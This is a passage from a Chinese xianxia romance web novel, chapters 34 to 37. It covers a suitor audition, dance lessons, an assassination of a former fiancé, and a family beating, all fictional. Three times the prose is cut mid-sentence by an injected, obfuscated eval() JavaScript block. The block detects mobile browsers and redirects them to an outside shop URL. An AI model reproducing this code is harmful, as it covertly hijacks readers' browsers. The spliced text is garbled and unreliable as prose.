这是一个大厅,中间是三尺高的八角展台,一水的俊哥美男,列着队逐个走上展台,或吟诗,或舞剑,或脱衣展示自己块垒分明的腹肌,争奇斗艳,各有千秋。 此时台上的是一个白衣飘飘的公子,五官舒雅,气质清淡,身高腿长,身形挺拔,他横笛于唇畔,正在吹奏一曲《凤求凰》,笛音清扬,澹澹若流水,渺渺似云山。 何殊左手握着“选秀”图册,右手执着毛笔,压低声音:“身材,上乘,容貌,上乘,才艺,上乘。此人出自商州韩家,家风清正,家境殷厚,他本人亦素有良善宽厚之誉,如此看来,品质亦是上乘,如何?可否?” 段梧声轻轻摇头,“吹笛尚可,手腹却无茧,想来养尊处优,不能很好照顾寒筝。” 何殊默默地翻了个白眼,而后道:“过,下一个。” 她手中握着厚厚一沓图册,集齐了各种风格各种气质,心道总有一款能够满足段梧声的要求,因此并不十分担心,甚至觉得各色美男在眼前争奇斗艳颇为养眼,甚是有趣。 然而接下来她方才知道,什么是难搞。 34. 两情(7) “这腿,这腰,这眼睛,放电似的,如何?” “元阳已泄,难以始终如一,不可。” “这个呢,家里很有钱,长得也不错,父母深谋远虑,从小就把他送进武馆学习拳法剑术,吃苦耐劳,绝对不养尊处优。” “观面相,此人心思不纯,善于算计,不可。” “这个呢?” “太矮。” “这个呢?” “容貌不佳。” “这个呢?” “脾气暴躁。” “这个呢?” “亏虚严重,恐难长久。” …… 画册翻到只剩五分之一,何殊叹了口气,怀疑这本册子里就没有能让段梧声满意的。 她死马当活马医地翻过一页,这次上台的是个眼睛清澈的少年,穿着明黄色的衣服,束着高马尾,意气飞扬,容貌清俊,略有些腼腆。 少年行了一礼,而后抽出长剑,舞了一套剑,身姿可称轻盈敏捷,但流畅度却尚有欠缺。 何殊觉得没戏,落笔预备画叉,但还是尽职尽责地介绍:“十九岁,家中走镖,但是为人单纯,估计容易被骗。” 却没料到段梧声嗯了一声,道:“这个可以。” 何殊缓慢地哈了一声,尾调上扬,是在疑惑。 段梧声言简意赅:“寒筝很聪明。” 何殊懂了,意思是这少年虽然单纯好骗,但是正好可以被聪明的李寒筝骗。 想到这里,她看向少年的目光里带上了怜悯。照李寒筝那聪明劲,这少年怕是被骗掉了身家都发现不了。 不过好歹是选出来了,骗不骗的跟她没关系,只要自己不被骗就行。何殊松了口气,然而这口气还没松完,就又提了起来。 只听段梧声道:“继续吧。” 何殊:“?” 何殊:“等等……你不止选一个么?” 段梧声淡然道:“变心移情都是常事。” “这有何难,”何殊不甚在意地挥了下手,“下蛊或者秘术,有很多法子可以让他始终如一。” 段梧声仍旧淡然:“我的意思是,寒筝也有可能变心。” 何殊:“……” 何殊环顾四周,脑海里忽然冒出一个问题:我到底为什么要在这里? 感觉自己就像一个给皇帝选妃的太监,哦不,是帮皇帝给皇后选夫的太监。果然人不可貌相,初见李寒筝一幅身无分文家徒四壁的穷酸相,没想到世事多变,风水轮流转,现在她何殊何楼主,正在给一个穷鬼选妃。 啊,这世道,钱难挣命真苦。 一个资深商人的良好自觉让何殊再一次捡起了职业道德,她微笑着道:“司厄大人不妨一次性把要求说出来。” 段梧声思索着道:“相貌周正,性格有趣,待人温柔,擅长厨艺,吃苦耐劳,心性单纯,家境倒是其次,我可以提供钱财良田,保他一生顺遂。” 何殊:“……”花钱替自己夫人养小三吗,有点意思。 何殊深吸一口气:“还有么?” 段梧声顿了会,道:“听闻凡人女子生育是过鬼门关,因此选拔对象若能生育便更好。” 何殊:“……” 何殊深吸一口气:“有点难,但不是不行,只是花费有些多。” “无妨,”段梧声道:“我名下有天材地宝无数,灵矿三座,虽不多,但为寒筝寻位合心合意的夫君应是绰绰有余。” 何殊的眼睛亮了,团扇一挥,繁复的发髻立刻变成了白玉冠,轻盈飘逸的衣裙变成了圆领黑袍,顿时从华贵雍容的貌美富婆变成了俊俏挺拔的年轻公子。 她衣冠楚楚地行了一礼,声音低沉:“请允许我自我介绍一番,在下何殊,镜楼楼主,温柔体贴,相貌英俊,吃苦耐劳,八境阵术师,不知有没有资格竞争一下?” 段梧声:“……” * 冰酥酪是用牛奶和米酒一起蒸了,再冰镇凝冻而成,望之乳白晶莹,用水青的瓷碗盛了,再浇上桂花蜜,点缀各色水果,一口吃下去,冰凉清爽,绵滑清甜,整个人都舒坦起来。 李寒筝挖了一大勺冰酥酪送入口中,喟叹一声,这才感觉自己活了过来。 袁期瞥了眼:“至于吗?” 李寒筝用勺子搅着冰酥酪,呵呵两声:“昨天跑了十几个地方全都否了,至于么?” 时值盛夏,阳光晒如火炉,两人坐在冰酥酪的摊子上,炙热的阳光顺着棚沿倾泻,切下一道清晰的明暗线。 桌上摊开卷轴,李寒筝看着卷轴上数十个黑叉,就叹了一口气:“您老实在是太难伺候了。” 袁期难得没有反驳,半晌,憋出一句话:“裴道友好不容易答应我,自然得用心一点。” “不不不,”李寒筝摆了摆手指,“真正的高手,无论环境如何恶劣,都能够旗开得胜。” “呵,”袁期怪模怪样打量一番:“这个高手,不会是在说你自己吧?” “不是我,”李寒筝十分自信地摊开手,“还能是谁呢?” 袁期正想进一步嘲讽,此时摊主笑容满面地走过来,“这位顾客,恭喜您成为本店第六百五十三个顾客,这里将赠送您一份大礼!” 只见摊主往左一步,露出身后身着青衣手持洞箫的男子。 李寒筝和袁期齐齐后仰,顿时眼睛都直了。 嚯,好一个出水芙蓉的俊俏郎君,一出场好似春风拂面而来,像是在这炎热夏日凭空凿出一块晶莹干净的冰,清新得仿佛乌梅汤,冰块碰壁当啷响。 郎君笑吟吟地朝着李寒筝行了一礼,声音悦耳好听:“姑娘,可否容在下为您吹奏一曲?” 李寒筝朝袁期看了眼,那一眼,七分炫耀,三分兴奋,十二分骄傲,满面笑容压都压不住:“当然可以!” 袁期目瞪口呆:“……” 什么六百五十三,这个数字到底有什么意义……而且认真的吗,一个破摊子请得起这一看就很贵的乐师? 到底是这个世界疯了还是他疯了? 这个时候的袁期还能够问出这个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177329|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,并且给自己洗脑是李寒筝走了狗屎运,然而等这莫名其妙的一天结束后,袁期会得出一个结论:是这个世界疯了。 乐师脉脉深情地望着李寒筝,吹完了一首《凤求凰》,然而李寒筝压根就听不懂,只知道拍手叫好,在热烈的掌声中送走了看起来就很幽怨的乐师。 他们从冰酥酪的摊子离开,走在大街上,突然李寒筝踩中了一枚玉佩,正捡起来细细打量,一个束着高马尾的俊俏少年从后面奔过来,额带薄汗,双眸明亮,鹅黄色的锦衣束出劲瘦的一截腰,双手啪地一声捧住李寒筝握着玉佩的手,笑意干净而灿烂:“多谢姑娘捡到了我的玉佩。” 袁期:“……” 少年连声道谢,眼睛里的欲说还休简直要说出来,笑容跟不要钱一样对着李寒筝哗哗流淌,“姑娘,这玉佩对我十分重要,为表谢意,不如我请姑娘吃顿饭?” 李寒筝大义凛然地一挥手:“区区小事,不足挂齿。” 两人又走到酒楼,李寒筝正大口大口嘬着面,此刻一条红纱从天而降,飘飘荡荡地笼住了她和她的面。 一名红衣公子身形利落地从二楼跳下来,依偎着坐在李寒筝身旁,纤长白皙的手指勾着她的肩膀,另一只手缠着那红纱绕啊绕,漂亮的狐狸眼像是在放电,声音悠悠:“姑娘,请我喝杯茶么?” 两人隔着红纱对视,世界都变成了朦胧的绯红,影影绰绰,暗香浮动,空气中暧昧的泡泡如同春芽吐绿一般疯狂生长。 李寒筝深情地看回去,吐出了一句话。 “可是我没带钱。” 是的,为了蹭袁期的饭,李寒筝一分钱都没有带,甚至为了防止袁期用她的首饰抵债,连一根银钗都没簪。 李寒筝犹豫地指了指正七窍生烟怀疑人生的袁期:“要不你找一下他?” 红衣公子:“……” 总而总之,一天下来,不是丢了手帕香囊,就是捡到了谁的玉佩,不是正巧中了奖,就是不小心被人推倒掉入了谁的怀里,甚至好好地走着路,都能凭空掉下一个绣球落在李寒筝怀里。 貌美的公子双目含情地捧着李寒筝的手,深情款款:“姑娘,你接了我的绣球,那便要对我负责。” 袁期:“……”这像话吗? 李寒筝咳了一声,想要抽出手,没抽出来,劲还挺大,只好委婉道:“我已经有了夫君,何况婚姻一事,不可如此草率。” 貌美公子捧着李寒筝的手贴到胸口:“姑娘听听我的心,若是姑娘肯,我愿意在这里等着你。” 李寒筝万分艰难万分挣扎万分不舍万分心智不坚定地扯开手,“我当然是愿意……不是,额,我的意思是,你这般动人,我自然……额,又说错了……我要说的是,其实……” 眼见李寒筝乱七八糟说半天还没把手扯出来,袁期干脆利落道:“她的夫君剑术很厉害,要是发现了能把你切成臊子。” 貌美的公子将脸依偎在李寒筝的肩膀上,声音柔柔:“姑娘的夫君,竟然如此不识大体……” 袁期:“……” 35. 两情(8) 暮色如墨晕开,橘黄色的太阳坠入天边连绵起伏的山,人间升起满目灯火。 馄饨摊上,李寒筝蒙着脸,小心翼翼眼观四路耳听八方,掀开面纱飞快往嘴里塞了口馄饨。 袁期一脸想要说却说不出来的神情,像是被谁抡圆了铁锤给砸了一下,带着点儿恍恍惚惚如在梦中的感觉。 李寒筝眯起眼睛,唇角勾起三分凉薄三分炫耀十二分漫不经心:“嫉妒我就说,我不会嘲笑你的,毕竟,我就是这么的优秀。” 她捋了捋面纱,无不骄傲无不感慨道:“都是我低调不起来的气质,还有我掩藏不住的美丽惹的祸,让那些年轻俊俏的公子们把持不住自己,唉,有时候太过完美,也总是让人时时忧愁。” 袁期深深沉默,而后开口:“我只有一个想法。” 他笑了下,温柔道:“那就是给你和他们都开点治眼睛的药。” 李寒筝呵了声:“你这就是嫉妒。” 袁期已经不想再说什么了,因为他确实有点嫉妒,但是他不承认,于是他囫囵吃完最后一口馄饨,拾起一旁的斗笠:“行吧,魅力无限的李姑娘,那我就先行一步了,您接着忧愁吧,别忘了找何楼主拿回我的乌木扇。” 三月之期已到,李寒筝成功地完成了悬赏内容,按照流程,便到了勾消契约清还债款的时候了。 信件中约的是戊时,地点是杨春楼,李寒筝到的时候雅间里已经坐了人。 何楼主换了身男子装扮,黑白两色,利落干净,头发束成高马尾,多了几分慵懒的少年气,那把从不离手的团扇也换成了折扇,唰地一声合上又展开,鬓边碎发轻轻拂过她洁白俊秀的面颊。 李寒筝非常有眼力见地恭维道:“何楼主今日真是英姿飒爽,俊秀逼人。” 何殊对着她眨了下眼,“果真?那寒筝你喜欢吗?” 处于某种不可言说的谨慎,李寒筝停顿了一秒,果断回答:“我最喜欢我夫君了。” “这样啊,那真是可惜了,”何殊遗憾地叹了口气。 李寒筝:“……” 到底可惜什么遗憾什么啊……一定是她听错了吧? 何殊单手握着折扇,一展一合之间,又换回了那幅满身金灿雍容华贵的装束,手中折扇也变成了团扇。 她将团扇一摇,福娃娃模样的进宝不知从哪蹦出来,涎着脸凑到何殊身边,被敲了下,这才慢腾腾地化作金蟾,捧着肚子哇地一声吐出乌木扇。 何殊取出契约,在上面勾了一下,“这便算是核销了,恭喜妹妹寻得如意郎君。” “看在姐姐这么用心费力的份上,”何殊握住李寒筝的手:“妹妹能不能帮姐姐解答一个疑惑?” “姐姐但说无妨。” “妹妹到底喜欢什么样的男人?” 李寒筝:“?” 何殊朝着她慵懒地笑了下,眼睫纤长卷翘,“妹妹别见怪,姐姐的意思是,若是妹妹想养个小,会找个什么样的?” 李寒筝:“?” 李寒筝重重咳了声,一副君子坐怀不乱的正气凛然:“我只喜欢我的……” 话还未说完,何殊竖起一根手指贴在李寒筝的唇上,“妹妹别这么早下定论,事在人为呢,以后的事,谁也说不准。” 似乎有点怪怪的,到底事在什么人为啊…… 李寒筝再次用力地咳了一声,放弃了寒暄直接开始下一个话题:“我想悬赏一条命。” 何殊举起团扇半遮住面,故作惊讶:“哦?妹妹想要杀谁?” “我曾经的未婚夫,齐恪。” * “是阿筝想要杀了齐恪吗?” “你怎么知道?” “我看见了最近的悬赏。” 何殊眼神微妙地变了下:“你倒是很关心她。” 段梧声又道:“今日的进展如何?” 提起这个何殊就想笑:“唉,全部都失败了呢,李寒筝说只喜欢你,我真怀疑我是不是你们夫妻俩调情的一环。” 段梧声轻轻皱眉:“我们不是这种关系。” 何殊:“……” 她刚才听见了啥? 片刻后,段梧声起身离开,留下了一句话:“那个悬赏,我接了。” * 长街遥遥,铺开一条迤逦的灯火,星星点点融入天边的深蓝色,炊烟在鱼鳞般的屋瓦上冉冉升起。 袁期穿梭在热闹的人群中,虽是独自一人,但他每看向一个地方的时候,便会幻想裴玉仪是否会喜欢是否会笑,笑起来又是什么模样。 她的笑像是露珠点开绿水,圈圈涟漪漾开。 无数个裴玉仪陪着他走,袁期一点也不觉得孤单。 漫无目的地走了许久,忽见一栋灯火通明的大楼拔地而起,门外围看着许多人。 袁期鬼使神差地挤入人群,只见大堂正中一座三尺八角木台,沿周无数明亮的烛火高高低低错落,除此之外,大堂一片昏暗,座不虚席的看客们就坐在这片昏暗中,聚精会神地盯着高台,像是在等待着什么。 寂静拉到极致,在漫天花瓣抖落的那一刻崩断,昏暗中有乐师开始拨弦鼓笙,吹笛弹筝,乐音远远近近响起,如春风入满堂,桃花落万里。 一名舞女破开这如潮昏暗,雪白的足尖绷出漂亮的弧度,点上高台,她举扇遮脸,忽地抖开,扇绸由冰雪的白渐变为雨后的蓝,飘飘遥遥地荡开。 此时一声高音如银瓶乍破,舞女开始了她的长绸扇舞,长臂摆动,足尖旋转,扇绸随着她的动作而飘动,如流风回雪,雾谷看花。 袁期不由得看怔。 身侧有名男子感慨着道:“不愧是杨春楼的长绸扇舞,可惜每月只有一次,一个位置千金难求,不过好在可以站在门外旁观,也算不虚此行。” 袁期回了点神,“这个扇舞很有名么?” 男子道:“自然有名,相传裴家上任家主和夫人初识时,裴夫人便是跳了一支长绸扇舞,叫这裴家主一见倾心。” 袁期心中一动,眼中倒映着高台上行云流水的舞,慢慢勾起唇角。 他想,他知道邀约的内容是什么了。 * “什么,你要表演长绸扇舞?” 李寒筝满眼都是“你行么”,但是没有说出来,她怕伤害到袁期脆弱的小心脏,于是勉勉强强鼓励道:“那你努力,好好学习。” 袁期回之以微笑:“不,是你要好好学习。” 李寒筝不可思议:“为什么?又不是我要讨裴姐姐欢心。” 袁期咳了两声,眺望远山:“教授长稠扇舞的方娘子已有夫君。” “所以?” “方娘子的夫君很担心他的夫人会变心,所以方娘子只教授女子。” “所以?” 袁期唰地一声展开终于物归原主的乌木扇,阴恻恻威胁道:“所以你不答应的话我就给你下药。” 李寒筝:“……” “放心,”袁期忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177330|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔道:“方娘子是杨春楼最为温柔和煦的教习娘子,到时候方娘子在一旁教导你,我在旁边看着学。你知道的,我平日就使扇子,学起来肯定特别快。你只需跟着方娘子随便学一学,我定然很快就能学会。” 当日下午,杨春楼后院的空地上,李寒筝露出一个乖巧的笑容,“方姐姐,我学东西有一点慢,你会温柔一点的,对吧?” 方娘子双手敛衽,笑得十分温婉:“这是当然。” 片刻后,后院传来李寒筝杀猪般的嚎叫,回荡在杨春楼的上空,路过的侍女听着牙齿都酸,不由摇头叹气。 唉,整个杨春楼谁不知道,教授长绸扇舞的方娘子是最严厉的教习娘子,怎么偏生选了这个,年轻就是有勇气呀。 “方姐姐……疼疼疼……再掰我的腿就要断了……” “腰!我的腰!真的弯不下去了!” “姐姐!姑奶奶!!祖宗!!!你认真的吗?这是简单跳一下就能跳上去的吗?停停停……啊……救命!!!” “袁期!!你学呀!你不是看一眼就成吗!!你不是很快就能学会吗!!!” …… 半天的学习结束,李寒筝缓缓跪倒在地,两眼放空,心如死灰,丧失了活下去的希望,“今夜我就要死去,不必阻止我。” 袁期在旁边蹲下,拍了拍她的肩膀:“时间紧,任务重,你先不要死,明早辰时还要开始学习呢。” 李寒筝怒目而视,“从今天开始,我不认识你了!” 袁期慈爱地在李寒筝脑袋上拍了拍,温声细语:“怎么这么大人了还说这种孩子式的气话,好妹妹,我可是你的兄长呀,为兄长做点事,应该的。” 李寒筝:“……” * 风从极远极深的黑暗中呼啸而来,打着哨子旋转,席卷整个世界。 齐朔佝着身子点燃了烛灯,而后草木皆兵地四处看了看。 还是那个老旧狭小的客栈房间,布置简单得一目了然,影子都还是影子,随着烛灯晃,没有爬出什么东西。 齐朔踉跄坐下,烛火照亮他憔悴枯槁的一张脸,眼眶深深凹陷,颊上没什么肉,几乎是蜡黄的皮包裹着骨,越发沉得两边颧骨高耸,那幅装模做样金玉其外的俊秀已然凋败,剩下皮与骨赤裸的怯弱和虚伪。 他抓起胸前悬挂的平安符嘴中喃喃作声。双瞳错乱,几乎有些神经质了。 这些日子他时常做噩梦,总是梦见那一双从高楼坠下,含着泪,凄楚而绝望的眼睛。 其实那个夜晚很黑,他看着未婚妻满心欢喜踏入房间后,便急匆匆逃也似地跑了,跑到楼下,回望了一眼,便看见一个黑影坠下,而后是沉闷的撞击声。 黑暗很静,什么也看不见。 为什么便确信是这样一双眼睛呢? “别找我,不是我……不是我……”齐朔含混地自言自语:“是李恪,是他推了你……寒筝啊寒筝,为什么你偏要缠着我呢?” 窗外传来尖啸的风声,像是有谁在哭。 齐朔抖着手开了一隙窗,凑眼看去,只有一片黑暗。 假的,都是幻觉,这不是他的错,是李恪色欲熏心,是李寒筝不识时务…… 他喃喃着自我安慰,关了窗转过身,忽而整个人定在原地,浑身剧烈颤抖,牙齿打颤,喉咙里咕噜着含混的声音。 房间里不知何时多了一个人,清清静静地坐在方桌的对面,长袖垂下,骨节明晰的手里握着一柄剑。 36. 两情(9) 齐朔噗通一声跪在地上,涕泪齐下:“放过我吧……我什么都没看见,什么都不知道……” 段梧声垂下眼,看着地上缩成一团的人,他本是吝于言辞的人,杀人便杀人,不问不听,杀便是了,此刻却突然起了一些好奇心。 寒筝之前喜欢的男子,便是这样的废物么? 于是他道:“你在害怕什么?” 齐朔沉浸在自己的世界中,浑然不知道问了什么,只魔怔地自言自语:“不是我,不是我害得你,你要索命就去寻李恪吧……不是我……” “索命,”段梧声琢磨着这两个字,“我记得在凡人书籍中,这个词多用于描述鬼神或者亡魂向生者追讨性命。” 齐朔像是突然清醒了一点,仰起头,脸在烛光中半明半暗,眼睛是明的那一半,瞳仁缩着,像是想到了什么极为惊恐的事情,神经质地絮絮叨叨:“窗下根本……根本没有池塘,我亲眼……亲眼看见她断了气……头骨都碎了……绝无生还的道理……” 段梧声静了片刻,似是在判断这句话的真假,忽而长剑凌空出鞘,架在了齐朔的脖子上。 这是段梧声第一次如此耐心细致地拷问将死之人,他看着齐朔的眼睛,平静开口:“将你和寒筝认识以来所有的事情,全部告知于我。” 齐朔盯着锋利的剑刃,咽了一口唾沫,结结巴巴开口:“我和寒筝……是自小就订下的娃娃亲,她性格内敛温婉,话很少,连直视别人的眼睛都会害羞,说话总是轻声细语……” 窗下根本没有池塘。 话很少,性格内敛温婉,不敢直视别人眼睛,说话轻声细语。 带着惊惧和颤抖的声音,一句一句在段梧声耳边响起,串联起其他线索,勾勒出事情的真相。 一个并不令人意外的真相,或许可以在此做些文章…… 段梧声轻轻敲着桌角,他思考时向来十分专注,不管是在怎样嘈杂的环境中都能够做到专心致志,此刻那向来不偏不倚的思路忽然岔了个弯,拐向另一个方向。 李寒筝捧着脸,眉眼弯弯地笑。 葛生于野,汝生我心。 齐朔哆哆嗦嗦求饶的声音唤回了他的注意力,段梧声侧目看去,齐朔几乎成了一滩泥,畏缩在地上,鼻涕眼泪糊了一脸,看上去狼狈可笑。 段梧声语调平缓:“寒筝不该有你这样的污点,这些事情不能让别人知道。” 齐朔看见了希望,连连道:“我绝对不会说出去的,保证守口如瓶……” 段梧声起身,最后看了一眼:“不必了。” 他走入黑暗之中,木门和烛光在他的身后合上。 房间内寂静无声,齐朔倒在地上,双眼紧闭,迅速冷透的身体正在一点点消散。 不远处,枕头下压着他背叛未婚妻换来的五十两黄金,层层包裹在绸布中。老鼠跑来,以为碰着了什么宝贝,吱吱地咬开了一个口子,金灿灿的光芒顿时溢了出来。 老鼠不感兴趣地嗅了嗅,随即又跑走了。 * 扬春楼每月一次长绸扇舞的传统有百年之久,但是袁期和裴玉仪的约定时间却在七日之后,于是在袁期钞能力的作用下,扬春楼掌柜犹豫了零点零一秒后同意了。 但条件是,袁期的长绸扇舞必须得做到和方娘子相比不相上下。 这个要求也十分合理,否则好不容易破例加场表演一次,效果却不尽如人意,岂不是自砸招牌?掌柜虽然利欲熏心,但到底分得清什么是鼠目寸光什么是长远之计。 在掌柜心中,这简直是一本稳赚不赔的买卖。若是袁期做不到,那么就等于不必付出什么却白白收了袁期的钱财,岂不美哉?若是袁期做得到,那么不仅收了袁期的钱财,还能够再收一次表演的票钱,岂不更美哉? 掌柜悠哉悠哉地走了,方娘子绕着袁期和李寒筝走了一圈,若有所思地打量着,方娘子的夫君在旁边严密监视。 李寒筝忽然觉得自己的腰和腿都在隐隐作痛。 方娘子道:“你的身量高,手脚瘦长而不失力量,先前的长绸扇舞不适合你,你的长绸扇舞应当更加飒爽矫健,气势雄浑,如长刀出鞘,琴弦铮鸣,我昨夜重新编了一支舞,难度或许会更大,但效果应该还不错,可要一试?” 李寒筝弱弱举手:“能不能……” 袁期斩钉截铁:“当然要试!” 李寒筝侧头怒目而视,正想争取一下,只见方娘子在她肩上重重一拍,夸赞道:“有志气!” 李寒筝大惊失色,连忙摆手。 青天大老爷啊,这句话不是她说的。 然而方娘子视若无睹,温柔微笑:“相信寒筝一定能够做到的。” 李寒筝身子一软。现在不光是腰和腿在疼,而是浑身都在疼。 她抬起头,弱弱道:“方娘子,能不能温柔一些呢?” 方娘子对着她温柔地笑了笑,“开始吧。” 片刻后,杨春楼的上空再次响彻李寒筝凄凄惨惨的嚎叫。 “啊!我的胳膊!真的要断了!” “别别别!真的拧不过去……啊!我感觉不到我的胯了!” …… 这样辛勤训练的效果是显著的,虽然李寒筝还是跳得乱七八糟,但是好在袁期的话有一半可信,他虽然学得慢,但是确实学得很不错。 这一日是第六日,扬春楼后院有一株遮天蔽日的枫树,千万片翠绿的枫叶此刻都随着树下之人的动作而哗哗摇摆,荡漾成森绿色的浪潮。 墨色扇绸在空中水流般荡开,时而飘逸若流风回雪,时而矫健若蛟龙出水,本是轻如雾谷、薄若蝉翼的墨绸,却生生舞出一种刀光剑影来。 一舞毕,绿叶纷纷而落,风与叶缱绻,而后响起了鼓掌的声音。 方娘子立在纷繁树影中,那副婉柔的神情褪掉,露出某种仿若礁石般的沉肃来,“师父曾告我教学相长也,今日得以为仙君之师,是我之幸也。凡人与修士有别,我终其一生难以追逐的幻梦在仙君身上得以实现,也算不枉。” 袁期收起长稠扇,郑重行了一个弟子礼:“方娘子教导有方。” “倒是谬赞了,”方娘子看着李寒筝摇了摇头,带着无奈的笑意:“认真教导的这一个却是……唉……阿筝,好在你不需以此为生。” 李寒筝叹了口气,故作悲伤:“方娘子,不带这样的,我可是你亲手教的呀。” 方娘子被逗笑了,拿着帕子擦拭眼角笑出的泪水,方娘子的夫君从旁边走来,扶住方娘子的手,低语了一句。 方娘子嗔了一句什么,转过来道:“我们将要远行一段时间,明晚的长绸扇舞便不能当场观看,好在今天也看过了。” 方娘子顿了顿,又补了一句:“祝仙君喜欢的人也能够喜欢。” 说罢,方娘子眨眨眼,便和她夫君一起转身走了。 李寒筝用手肘戳了戳袁期,“听到了没,好好跳哈。” 袁期抬起头,望着被枝桠切成一块一块的天空,难得有些犹豫,“她会来么?” “当然了,”李寒筝肯定道:“裴姐姐那么讲信用的人,肯定会赴约的。” * “师姐有事,来不了了。” 李寒筝觉得自己有点脸疼,缓缓哈了一声。 正是八月十七, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184458|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酉时四刻,距离长绸扇舞正式开始还有五刻钟。 侍女小厮上上下下地忙碌着,表演场地一点一点被搭建起来,彩绸结顶,纱幔飘飞,烛灯如星,掌柜的嘱咐声时不时响起,看客们陆陆续续登场,周遭一片人声鼎沸的嘈杂。 二楼视角最好的包厢里,却没有等到原本的客人,等来的是洛意推门而入,声音有些不自然:“师姐有事,托我来告诉你,此次是她失约,来日定当补偿。” 袁期已经换上了装扮,是一身窄袖朱衣,纱衣叠着匣锦,飘逸而不失庄重,左耳佩着的红缨耳饰轻轻垂落在他的肩头。 袁期沉默半晌,抬起头,光芒敛入他漆黑的眼睛,愈发流光溢彩,“裴道友不是言而无信之人,到底发生了什么?” 李寒筝将全身硬得跟板砖一样的洛意给扯坐下,倒了一杯茶推给她,撑着脸道:“别急着走呀,相逢是缘,我们一起聊聊呗。” 洛意面对李寒筝还是有些僵硬,故意侧着头不看,被李寒筝强行给掰过去,骤然对上两双灼灼看过来的眼睛,她梗了下,妥协道:“好吧,反正山上很多人都已经知道了。” “师姐前几天出任务,放走了一只已经入魔的蛇妖。师姐认为这只蛇妖为了血海深仇而入魔情有可原,而且并未伤害过无辜之人,应该给他一条生路,这件事本来可大可小,但是不知道为什么让裴家主知道了,裴家主向来对师姐很严厉,师姐一回来,就被裴家主给带回了裴家祖宅,只来得及匆匆嘱咐我来这里说一句抱歉。” 李寒筝看出袁期还想再问,十分自觉地承担起套话路人甲的身份,凑过去抱住洛意的手臂。 然而还未开口,洛意便退避三舍,恨不得把身子拉长伸到门外去,惊恐之色溢于言表:“放手!说话就说话!干什么动手动脚!” 李寒筝也是觉得奇了,不仅不松手,反而贴得更紧,“裴家主为什么这么严苛?” 洛意勉强道:“你松手。” “你说我就松手。” 洛意咬牙,“因为归墟秘境。” “展开讲讲?” 洛意强压着气,大约觉得这样的姿势不太体统,勉强坐定,双膝岔开,双手摁在膝盖上,一动不动,硬得能够砌墙,好一个铁骨铮铮坐怀不乱的正人君子。 “师姐第一次去归墟秘境的时候,身边跟随着一个伴读,两人不小心掉入了沼泽之中,伴读因为被煞气侵蚀入了魔,师姐同样重伤危在旦夕,初入魔之人很难控制住自己的杀戮欲望,因此那个时候对于师姐而言,最好的选择是立刻杀了她的伴读,但是师姐没有那么做,因此险些被入魔的伴读给杀死,最后是谢呈路过,救出了师姐。因为这件事,裴家主很反感师姐放过任何魔族。” 洛意扭过头,一字一句道:“现在你可以松手了吧?” 李寒筝笑盈盈地松开手,不过一秒又吧唧一声贴上去,洛意快要疯掉了,深吸一口气,盯着李寒筝的眼睛:“你这又是干嘛?” 李寒筝问:“谢呈是谁?” “这你都不知道,谢呈就是谢家现任少家主,师姐的未婚夫。” 袁期放在桌上的手指蜷了蜷。 洛意和李寒筝对峙半晌无果,呼出一口气,索性当作没看见,扭过头看见袁期,满腔怒火终于有了发泄的地方,挑刺道:“穿得这么华丽花哨,还约师姐在这种地方见面,你该不会是……想要在大庭广众之下挑战师姐以此扬名吧?” 李寒筝:“……”过程全对,结果错得离谱。 洛意一副看穿了一切的样子,“告诉你,不可能,师姐很厉害,要是你选择挑战师姐,呵呵,你肯定会输得一败涂地满地找牙。” 37. 两情(10) “啪……啪……啪……” “知道错了没有?知道了吗?” 长刀裹鞘一下下打在裴玉仪的后背,划过空气带出尖锐的风声,而后重重落下。 裴玉仪腰背挺直跪在青砖上,咬牙不发出一点声音,苍白的面颊上汗水涔涔而落,后背浅蓝色的衣料上已经渗出道道鲜血。 “知道错了吗?” 裴执每打一次便要问上一句,问了七十二次,也打了七十二下,他气得发狠,用了十足的力气挥下去,重山刀却在此时发出嗡鸣,刀有灵,不愿意伤害自己的主人,停滞在半空迟迟不愿意落下。 裴执冷笑:“好啊,你也不听我的了。” 裴玉仪微微侧目,低声叫了一句:“重山,听话!” 重山刀哀嚎般嗡鸣一声,被裴执紧握着重重落在裴玉仪的后背。 这一下实在是太重,灌了十足的灵力,裴玉仪被打的身形往前一踉跄,却仍旧是稳稳立住了。 裴执将重山狠狠掷于地,指着前方道:“把重山举起来,好好看看你的父亲!” 这是裴家的祠堂,高大阔深,幽冷得像是要从骨头缝里生出青苔。裴玉仪跪在正中,往前是神龛内如山的牌位,黑暗包裹着烛火,幽幽摇晃的光芒映照出漆黑木牌上的描金刻字,正中摆着她父亲的牌位——裴家第三十九任家主,裴行。 